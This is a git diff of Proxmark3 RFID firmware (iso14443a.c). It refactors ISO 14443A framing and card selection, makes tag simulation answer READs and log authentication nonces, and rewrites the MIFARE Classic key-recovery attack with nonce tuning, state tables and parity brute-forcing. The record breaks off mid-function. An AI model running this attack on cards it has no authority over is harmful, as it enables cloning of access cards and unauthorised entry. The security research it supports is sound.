X-Git-Url: https://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/902cb3c00b49535f0de9a3b6d5ba0c54260ccac1..4df3eb3f739af80b6fdc8f737fc906d254ebd0b5:/armsrc/iso14443a.c?ds=sidebyside diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index d2ebb0c6..111d7139 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -898,13 +898,21 @@ static int GetIso14443aCommandFromReader(uint8_t *received, int *len, int maxLen } } } + static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, int correctionNeeded); +int EmSend4bitEx(uint8_t resp, int correctionNeeded); +int EmSend4bit(uint8_t resp); +int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par); +int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par); +int EmSendCmdEx(uint8_t *resp, int respLen, int correctionNeeded); +int EmSendCmd(uint8_t *resp, int respLen); +int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par); //----------------------------------------------------------------------------- // Main loop of simulated tag: receive commands from reader, decide what // response to send, and send it. //----------------------------------------------------------------------------- -void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) +void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) { // Enable and clear the trace tracing = TRUE; @@ -985,7 +993,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) uint8_t response6[] = { 0x03, 0x3B, 0x00, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS ComputeCrc14443(CRC_14443_A, response6, 3, &response6[3], &response6[4]); - uint8_t *resp; + uint8_t *resp = NULL; int respLen; // Longest possible response will be 16 bytes + 2 CRC = 18 bytes @@ -1024,7 +1032,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) // Response to a read request - not implemented atm uint8_t *resp4 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*4)); - int resp4Len; +// int resp4Len; // Authenticate response - nonce uint8_t *resp5 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*5)); @@ -1048,7 +1056,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) int cmdsRecvd = 0; uint8_t* respdata = NULL; int respsize = 0; - uint8_t nack = 0x04; +// uint8_t nack = 0x04; memset(receivedCmd, 0x44, RECV_CMD_SIZE); @@ -1077,7 +1085,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) // Strange answer is an example of rare message size (3 bits) CodeStrangeAnswerAsTag(); - memcpy(resp4, ToSend, ToSendMax); resp4Len = ToSendMax; + memcpy(resp4, ToSend, ToSendMax);// resp4Len = ToSendMax; // Authentication answer (random nonce) CodeIso14443aAsTag(response5, sizeof(response5)); @@ -1100,6 +1108,11 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) DbpString("button press"); break; } + + if (tracing) { + LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE); + } + // doob - added loads of debug strings so we can see what the reader is saying to us during the sim as hi14alist is not populated // Okay, look at the command now. lastorder = order; @@ -1128,12 +1141,15 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) respdata = response3a; respsize = sizeof(response3a); } else if(receivedCmd[0] == 0x30) { // Received a (plain) READ - resp = resp4; respLen = resp4Len; order = 4; // Do nothing +// resp = resp4; respLen = resp4Len; order = 4; // Do nothing +// respdata = &nack; +// respsize = sizeof(nack); // 4-bit answer + EmSendCmdEx(data+(4*receivedCmd[0]),16,false); Dbprintf("Read request from reader: %x %x",receivedCmd[0],receivedCmd[1]); - respdata = &nack; - respsize = sizeof(nack); // 4-bit answer + // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below + respLen = 0; } else if(receivedCmd[0] == 0x50) { // Received a HALT - DbpString("Reader requested we HALT!:"); +// DbpString("Reader requested we HALT!:"); // Do not respond resp = resp1; respLen = 0; order = 0; respdata = NULL; @@ -1147,16 +1163,19 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) respdata = response6; respsize = sizeof(response6); } else { - // Never seen this command before - Dbprintf("Received (len=%d): %02x %02x %02x %02x %02x %02x %02x %02x %02x", - len, - receivedCmd[0], receivedCmd[1], receivedCmd[2], - receivedCmd[3], receivedCmd[4], receivedCmd[5], - receivedCmd[6], receivedCmd[7], receivedCmd[8]); - // Do not respond - resp = resp1; respLen = 0; order = 0; - respdata = NULL; - respsize = 0; + if (order == 7 && len ==8) { + uint32_t nr = bytes_to_num(receivedCmd,4); + uint32_t ar = bytes_to_num(receivedCmd+4,4); + Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar); + } else { + // Never seen this command before + Dbprintf("Received unknown command (len=%d):",len); + Dbhexdump(len,receivedCmd,false); + } + // Do not respond + resp = resp1; respLen = 0; order = 0; + respdata = NULL; + respsize = 0; } // Count number of wakeups received after a halt @@ -1183,7 +1202,6 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd) } if (tracing) { - LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE); if (respdata != NULL) { LogTrace(respdata,respsize, 0, SwapBits(GetParity(respdata,respsize),respsize), FALSE); } @@ -1244,68 +1262,9 @@ static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wa } //----------------------------------------------------------------------------- -// Code a 7-bit command without parity bit -// This is especially for 0x26 and 0x52 (REQA and WUPA) -//----------------------------------------------------------------------------- -void ShortFrameFromReader(const uint8_t bt) -{ - int j; - int last; - uint8_t b; - - ToSendReset(); - - // Start of Communication (Seq. Z) - ToSend[++ToSendMax] = SEC_Z; - last = 0; - - b = bt; - for(j = 0; j < 7; j++) { - if(b & 1) { - // Sequence X - ToSend[++ToSendMax] = SEC_X; - last = 1; - } else { - if(last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; - } - else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; - } - } - b >>= 1; - } - - // End of Communication - if(last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; - } - else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; - } - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - - // Just to be sure! - ToSend[++ToSendMax] = SEC_Y; - ToSend[++ToSendMax] = SEC_Y; - ToSend[++ToSendMax] = SEC_Y; - - // Convert from last character reference to length - ToSendMax++; -} - -//----------------------------------------------------------------------------- -// Prepare reader command to send to FPGA -// +// Prepare reader command (in bits, support short frames) to send to FPGA //----------------------------------------------------------------------------- -void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) +void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwParity) { int i, j; int last; @@ -1317,12 +1276,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) ToSend[++ToSendMax] = SEC_Z; last = 0; + size_t bytecount = nbytes(bits); // Generate send structure for the data bits - for (i = 0; i < len; i++) { + for (i = 0; i < bytecount; i++) { // Get the current byte to send b = cmd[i]; + size_t bitsleft = MIN((bits-(i*8)),8); - for (j = 0; j < 8; j++) { + for (j = 0; j < bitsleft; j++) { if (b & 1) { // Sequence X ToSend[++ToSendMax] = SEC_X; @@ -1340,19 +1301,22 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) b >>= 1; } - // Get the parity bit - if ((dwParity >> i) & 0x01) { - // Sequence X - ToSend[++ToSendMax] = SEC_X; - last = 1; - } else { - if (last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; + // Only transmit (last) parity bit if we transmitted a complete byte + if (j == 8) { + // Get the parity bit + if ((dwParity >> i) & 0x01) { + // Sequence X + ToSend[++ToSendMax] = SEC_X; + last = 1; } else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; + if (last == 0) { + // Sequence Z + ToSend[++ToSendMax] = SEC_Z; + } else { + // Sequence Y + ToSend[++ToSendMax] = SEC_Y; + last = 0; + } } } } @@ -1378,6 +1342,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) ToSendMax++; } +//----------------------------------------------------------------------------- +// Prepare reader command to send to FPGA +//----------------------------------------------------------------------------- +void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) +{ + CodeIso14443aBitsAsReaderPar(cmd,len*8,dwParity); +} + //----------------------------------------------------------------------------- // Wait for commands from reader // Stop when button is pressed (return 1) or field was gone (return 2) @@ -1575,43 +1547,33 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int } } -void ReaderTransmitShort(const uint8_t* bt) +void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par) { int wait = 0; int samples = 0; - - ShortFrameFromReader(*bt); - - // Select the card - TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); - - // Store reader command in buffer - if (tracing) LogTrace(bt,1,0,GetParity(bt,1),TRUE); -} - -void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par) -{ - int wait = 0; - int samples = 0; - + // This is tied to other size changes // uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024; - CodeIso14443aAsReaderPar(frame,len,par); - + CodeIso14443aBitsAsReaderPar(frame,bits,par); + // Select the card TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); if(trigger) LED_A_ON(); - + // Store reader command in buffer - if (tracing) LogTrace(frame,len,0,par,TRUE); + if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE); } +void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par) +{ + ReaderTransmitBitsPar(frame,len*8,par); +} void ReaderTransmit(uint8_t* frame, int len) { // Generate parity and redirect - ReaderTransmitPar(frame,len,GetParity(frame,len)); + ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len)); } int ReaderReceive(uint8_t* receivedAnswer) @@ -1636,86 +1598,107 @@ int ReaderReceivePar(uint8_t* receivedAnswer, uint32_t * parptr) /* performs iso14443a anticolision procedure * fills the uid pointer unless NULL * fills resp_data unless NULL */ -int iso14443a_select_card(uint8_t * uid_ptr, iso14a_card_select_t * resp_data, uint32_t * cuid_ptr) { - uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP - uint8_t sel_all[] = { 0x93,0x20 }; - uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0 - - uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes - - uint8_t sak = 0x04; // cascade uid - int cascade_level = 0; - - int len; - - // clear uid - memset(uid_ptr, 0, 12); - - // Broadcast for a card, WUPA (0x52) will force response from all cards in the field - ReaderTransmitShort(wupa); - // Receive the ATQA - if(!ReaderReceive(resp)) return 0; +int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) { + uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP + uint8_t sel_all[] = { 0x93,0x20 }; + uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0 + uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes + byte_t uid_resp[4]; + size_t uid_resp_len; + + uint8_t sak = 0x04; // cascade uid + int cascade_level = 0; + int len; + + // Broadcast for a card, WUPA (0x52) will force response from all cards in the field + ReaderTransmitBitsPar(wupa,7,0); + // Receive the ATQA + if(!ReaderReceive(resp)) return 0; // Dbprintf("atqa: %02x %02x",resp[0],resp[1]); - if(resp_data) - memcpy(resp_data->atqa, resp, 2); + if(p_hi14a_card) { + memcpy(p_hi14a_card->atqa, resp, 2); + p_hi14a_card->uidlen = 0; + memset(p_hi14a_card->uid,0,10); + } - // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in - // which case we need to make a cascade 2 request and select - this is a long UID - // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. - for(; sak & 0x04; cascade_level++) - { - // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) - sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; - - // SELECT_ALL - ReaderTransmit(sel_all,sizeof(sel_all)); - if (!ReaderReceive(resp)) return 0; -// Dbprintf("uid: %02x %02x %02x %02x",resp[0],resp[1],resp[2],resp[3]); + // clear uid + if (uid_ptr) { + memset(uid_ptr,0,8); + } - if(uid_ptr) memcpy(uid_ptr + cascade_level*4, resp, 4); - + // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in + // which case we need to make a cascade 2 request and select - this is a long UID + // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. + for(; sak & 0x04; cascade_level++) { + // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) + sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; + + // SELECT_ALL + ReaderTransmit(sel_all,sizeof(sel_all)); + if (!ReaderReceive(resp)) return 0; + + // First backup the current uid + memcpy(uid_resp,resp,4); + uid_resp_len = 4; + // Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]); + // calculate crypto UID - if(cuid_ptr) *cuid_ptr = bytes_to_num(resp, 4); + if(cuid_ptr) { + *cuid_ptr = bytes_to_num(uid_resp, 4); + } - // Construct SELECT UID command + // Construct SELECT UID command memcpy(sel_uid+2,resp,5); - AppendCrc14443a(sel_uid,7); - ReaderTransmit(sel_uid,sizeof(sel_uid)); + AppendCrc14443a(sel_uid,7); + ReaderTransmit(sel_uid,sizeof(sel_uid)); + + // Receive the SAK + if (!ReaderReceive(resp)) return 0; + sak = resp[0]; + + // Test if more parts of the uid are comming + if ((sak & 0x04) && uid_resp[0] == 0x88) { + // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of: + // http://www.nxp.com/documents/application_note/AN10927.pdf + memcpy(uid_resp, uid_resp + 1, 3); + uid_resp_len = 3; + } + + if(uid_ptr) { + memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len); + } + + if(p_hi14a_card) { + memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len); + p_hi14a_card->uidlen += uid_resp_len; + } + } - // Receive the SAK - if (!ReaderReceive(resp)) return 0; - sak = resp[0]; - } - if(resp_data) { - resp_data->sak = sak; - resp_data->ats_len = 0; - } - //-- this byte not UID, it CT. http://www.nxp.com/documents/application_note/AN10927.pdf page 3 - if (uid_ptr[0] == 0x88) { - memcpy(uid_ptr, uid_ptr + 1, 7); - uid_ptr[7] = 0; - } + if(p_hi14a_card) { + p_hi14a_card->sak = sak; + p_hi14a_card->ats_len = 0; + } - if( (sak & 0x20) == 0) - return 2; // non iso14443a compliant tag + if( (sak & 0x20) == 0) { + return 2; // non iso14443a compliant tag + } - // Request for answer to select - if(resp_data) { // JCOP cards - if reader sent RATS then there is no MIFARE session at all!!! - AppendCrc14443a(rats, 2); - ReaderTransmit(rats, sizeof(rats)); - - if (!(len = ReaderReceive(resp))) return 0; - - memcpy(resp_data->ats, resp, sizeof(resp_data->ats)); - resp_data->ats_len = len; - } - - // reset the PCB block number - iso14_pcb_blocknum = 0; + // Request for answer to select + AppendCrc14443a(rats, 2); + ReaderTransmit(rats, sizeof(rats)); + + if (!(len = ReaderReceive(resp))) return 0; + + if(p_hi14a_card) { + memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats)); + p_hi14a_card->ats_len = len; + } - return 1; + // reset the PCB block number + iso14_pcb_blocknum = 0; + return 1; } void iso14443a_setup() { @@ -1774,18 +1757,20 @@ void ReaderIso14443a(UsbCommand * c) iso14a_command_t param = c->arg[0]; uint8_t * cmd = c->d.asBytes; size_t len = c->arg[1]; - uint32_t arg0; - byte_t buf[48]; + uint32_t arg0 = 0; + byte_t buf[USB_CMD_DATA_SIZE]; iso14a_clear_trace(); iso14a_set_tracing(true); - if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(1); + if(param & ISO14A_REQUEST_TRIGGER) { + iso14a_set_trigger(1); + } if(param & ISO14A_CONNECT) { iso14443a_setup(); - arg0 = iso14443a_select_card(buf, (iso14a_card_select_t *)(buf+12), NULL); - cmd_send(CMD_ACK,arg0,0,0,buf,48); + arg0 = iso14443a_select_card(NULL,(iso14a_card_select_t*)buf,NULL); + cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t)); // UsbSendPacket((void *)ack, sizeof(UsbCommand)); } @@ -1799,7 +1784,7 @@ void ReaderIso14443a(UsbCommand * c) if(param & ISO14A_APDU) { arg0 = iso14_apdu(cmd, len, buf); - cmd_send(CMD_ACK,arg0,0,0,buf,48); + cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); // UsbSendPacket((void *)ack, sizeof(UsbCommand)); } @@ -1811,68 +1796,301 @@ void ReaderIso14443a(UsbCommand * c) ReaderTransmit(cmd,len); arg0 = ReaderReceive(buf); // UsbSendPacket((void *)ack, sizeof(UsbCommand)); - cmd_send(CMD_ACK,arg0,0,0,buf,48); + cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); } - if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(0); + if(param & ISO14A_REQUEST_TRIGGER) { + iso14a_set_trigger(0); + } - if(param & ISO14A_NO_DISCONNECT) + if(param & ISO14A_NO_DISCONNECT) { return; + } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); } +#define TEST_LENGTH 100 +typedef struct mftest{ + uint8_t nt[8]; + uint8_t count; +}mftest ; + +/** + *@brief Tunes the mifare attack settings. This method checks the nonce entropy when + *using a specified timeout. + *Different cards behave differently, some cards require up to a second to power down (and thus reset + *token generator), other cards are fine with 50 ms. + * + * @param time + * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to + *zero indicates a low entropy: the given timeout is sufficient to power down the card. + */ +int TuneMifare(int time) +{ + // Mifare AUTH + uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); + + iso14443a_setup(); + int TIME1=time; + int TIME2=2000; + uint8_t uid[8]; + uint32_t cuid; + byte_t nt[4]; + Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time); + + + mftest nt_values[TEST_LENGTH]; + int nt_size = 0; + int i = 0; + for(i = 0 ; i< 100 ; i++) + { + LED_C_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(TIME1); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + LED_C_ON(); + SpinDelayUs(TIME2); + if(!iso14443a_select_card(uid, NULL, &cuid)) continue; + + // Transmit MIFARE_CLASSIC_AUTH + ReaderTransmit(mf_auth, sizeof(mf_auth)); + + // Receive the (16 bit) "random" nonce + if (!ReaderReceive(receivedAnswer)) continue; + memcpy(nt, receivedAnswer, 4); + + //store it + int already_stored = 0; + for(int i = 0 ; i < nt_size && !already_stored; i++) + { + if( memcmp(nt, nt_values[i].nt, 4) == 0) + { + nt_values[i].count++; + already_stored = 1; + } + } + if(!already_stored) + { + mftest* ptr= &nt_values[nt_size++]; + //Clear it before use + memset(ptr, 0, sizeof(mftest)); + memcpy(ptr->nt, nt, 4); + ptr->count = 1; + } + + if(BUTTON_PRESS()) + { + Dbprintf("Tuning aborted prematurely"); + break; + } + } + /* + for(int i = 0 ; i < nt_size;i++){ + mftest x = nt_values[i]; + Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count); + } + */ + int result = nt_size *100 / i; + Dbprintf(" ... results for %d ms : %d %",time, result); + return result; +} + //----------------------------------------------------------------------------- // Read an ISO 14443a tag. Send out commands and store answers. // //----------------------------------------------------------------------------- -void ReaderMifare(uint32_t parameter) +#define STATE_SIZE 100 +typedef struct AttackState{ + byte_t nt[4]; + byte_t par_list[8]; + byte_t ks_list[8]; + byte_t par; + byte_t par_low; + byte_t nt_diff; + uint8_t mf_nr_ar[8]; +} AttackState; + + +int continueAttack(AttackState* pState,uint8_t* receivedAnswer) { - // Mifare AUTH - uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + // Transmit reader nonce and reader answer + ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par); + + // Receive 4 bit answer + int len = ReaderReceive(receivedAnswer); + if (!len) + { + if (pState->nt_diff == 0) + { + pState->par++; + } else { + pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low; + } + return 2; + } + if(pState->nt_diff == 0) + { + pState->par_low = pState->par & 0x07; + } + //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4)); + //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; + //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); + // + // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue; + + //led_on = !led_on; + //if(led_on) LED_B_ON(); else LED_B_OFF(); + pState->par_list[pState->nt_diff] = pState->par; + pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05; + + // Test if the information is complete + if (pState->nt_diff == 0x07) { + return 0; + } + + pState->nt_diff = (pState->nt_diff + 1) & 0x07; + pState->mf_nr_ar[3] = pState->nt_diff << 5; + pState->par = pState->par_low; + return 1; +} + +void reportResults(uint8_t uid[8],AttackState *pState, int isOK) +{ + LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE); + LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE); + LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE); + + byte_t buf[48]; + memcpy(buf + 0, uid, 4); + if(pState != NULL) + { + memcpy(buf + 4, pState->nt, 4); + memcpy(buf + 8, pState->par_list, 8); + memcpy(buf + 16, pState->ks_list, 8); + } + + LED_B_ON(); + cmd_send(CMD_ACK,isOK,0,0,buf,48); + LED_B_OFF(); + + // Thats it... + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + tracing = TRUE; + + if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); +} + +void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time); + +/** + * @brief New implementation of ReaderMifare, the classic mifare attack. + * This implementation is backwards-compatible, but has some added parameters. + * @param c the usbcommand in complete + * c->arg[0] - nt_noattack (deprecated) + * c->arg[1] - offset_time us (0 => random) + * c->arg[2] - powerdown_time ms (0=> tuning) + * + */ +void ReaderMifare(UsbCommand *c) +{ + /* + * The 'no-attack' is not used anymore, with the introduction of + * state tables. Instead, we use an offset which is random. This means that we + * should not get stuck on a 'bad' nonce, so no-attack is not needed. + * Anyway, arg[0] is reserved for backwards compatibility + uint32_t nt_noattack_uint = c->arg[0]; + byte_t nt_noattack[4]; + num_to_bytes(parameter, 4, nt_noattack_uint); + + */ + /* + *IF, for some reason, you want to attack a specific nonce or whatever, + *you can specify the offset time yourself, in which case it won't be random. + * + * The offset time is microseconds, MICROSECONDS, not ms. + */ + uint32_t offset_time = c->arg[1]; + if(offset_time == 0) + { + //[Martin:]I would like to have used rand(), but linking problems prevented it + //offset_time = rand() % 4000; + //So instead, I found this nifty thingy, which seems to fit the bill + offset_time = GetTickCount() % 2000; + } + /* + * There is an implementation of tuning. Tuning will try to determine + * a good power-down time, which is different for different cards. + * If a value is specified from the packet, we won't do any tuning. + * A value of zero will initialize a tuning. + * The power-down time is milliseconds, that MILLI-seconds . + */ + uint32_t powerdown_time = c->arg[2]; + if(powerdown_time == 0) + { + //Tuning required + int entropy = 100; + int time = 25; + entropy = TuneMifare(time); + + while(entropy > 50 && time < 2000){ + //Increase timeout, but never more than 500ms at a time + time = MIN(time*2, time+500); + entropy = TuneMifare(time); + } + if(entropy > 50){ + Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy); + } + powerdown_time = time; + } + //The actual attack + ReaderMifareBegin(offset_time, powerdown_time); +} +void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time) +{ + Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time); + + /** + *Allocate our state-table and initialize with zeroes + **/ + + AttackState states[STATE_SIZE] ; + //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) ); + memset(states, 0, STATE_SIZE*sizeof(AttackState)); + + // Mifare AUTH + uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes - traceLen = 0; + + traceLen = 0; tracing = false; iso14443a_setup(); - LED_A_ON(); LED_B_OFF(); LED_C_OFF(); - byte_t nt_diff = 0; LED_A_OFF(); - byte_t par = 0; - //byte_t par_mask = 0xff; - byte_t par_low = 0; - int led_on = TRUE; uint8_t uid[8]; uint32_t cuid; - tracing = FALSE; - byte_t nt[4] = {0,0,0,0}; - byte_t nt_attacked[4], nt_noattack[4]; - byte_t par_list[8] = {0,0,0,0,0,0,0,0}; - byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; - num_to_bytes(parameter, 4, nt_noattack); - int isOK = 0, isNULL = 0; - - while(TRUE) + byte_t nt[4]; + int nts_attacked= 0; + //Keeps track of progress (max value of nt_diff for our states) + int progress = 0; + int high_entropy_warning_issued = 0; + while(!BUTTON_PRESS()) { LED_C_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(50); + SpinDelay(powerdown_time); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); LED_C_ON(); - SpinDelay(2); - - // Test if the action was cancelled - if(BUTTON_PRESS()) { - break; - } + SpinDelayUs(offset_time); if(!iso14443a_select_card(uid, NULL, &cuid)) continue; @@ -1881,76 +2099,66 @@ void ReaderMifare(uint32_t parameter) // Receive the (16 bit) "random" nonce if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); - - // Transmit reader nonce and reader answer - ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par); - - // Receive 4 bit answer - if (ReaderReceive(receivedAnswer)) - { - if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; - - isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); - if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue; - - if (nt_diff == 0) - { - LED_A_ON(); - memcpy(nt_attacked, nt, 4); - //par_mask = 0xf8; - par_low = par & 0x07; - } - - led_on = !led_on; - if(led_on) LED_B_ON(); else LED_B_OFF(); - par_list[nt_diff] = par; - ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; - - // Test if the information is complete - if (nt_diff == 0x07) { - isOK = 1; - break; - } - - nt_diff = (nt_diff + 1) & 0x07; - mf_nr_ar[3] = nt_diff << 5; - par = par_low; - } else { - if (nt_diff == 0) - { - par++; - } else { - par = (((par >> 3) + 1) << 3) | par_low; - } - } - } - - LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE); - LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); - LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); - - byte_t buf[48]; -// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}}; - memcpy(buf + 0, uid, 4); - memcpy(buf + 4, nt, 4); - memcpy(buf + 8, par_list, 8); - memcpy(buf + 16, ks_list, 8); - - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,buf,48); -// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); - LED_B_OFF(); + memcpy(nt, receivedAnswer, 4); + + //Now we have the NT. Check if this NT is already under attack + AttackState* pState = NULL; + int i = 0; + for(i = 0 ; i < nts_attacked && pState == NULL; i++) + { + if( memcmp(nt, states[i].nt, 4) == 0) + { + //we have it + pState = &states[i]; + //Dbprintf("Existing state found (%d)", i); + } + } - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - tracing = TRUE; - - if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); + if(pState == NULL){ + if(nts_attacked < STATE_SIZE ) + { + //Initialize a new state + pState = &states[nts_attacked++]; + //Clear it before use + memset(pState, 0, sizeof(AttackState)); + memcpy(pState->nt, nt, 4); + i = nts_attacked; + //Dbprintf("New state created, nt="); + }else if(!high_entropy_warning_issued){ + /** + *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by + *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce + *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting + *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish. + */ + DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)"); + high_entropy_warning_issued = 1; + } + } + if(pState == NULL) continue; + + int result = continueAttack(pState, receivedAnswer); + + if(result == 1){ + //One state progressed 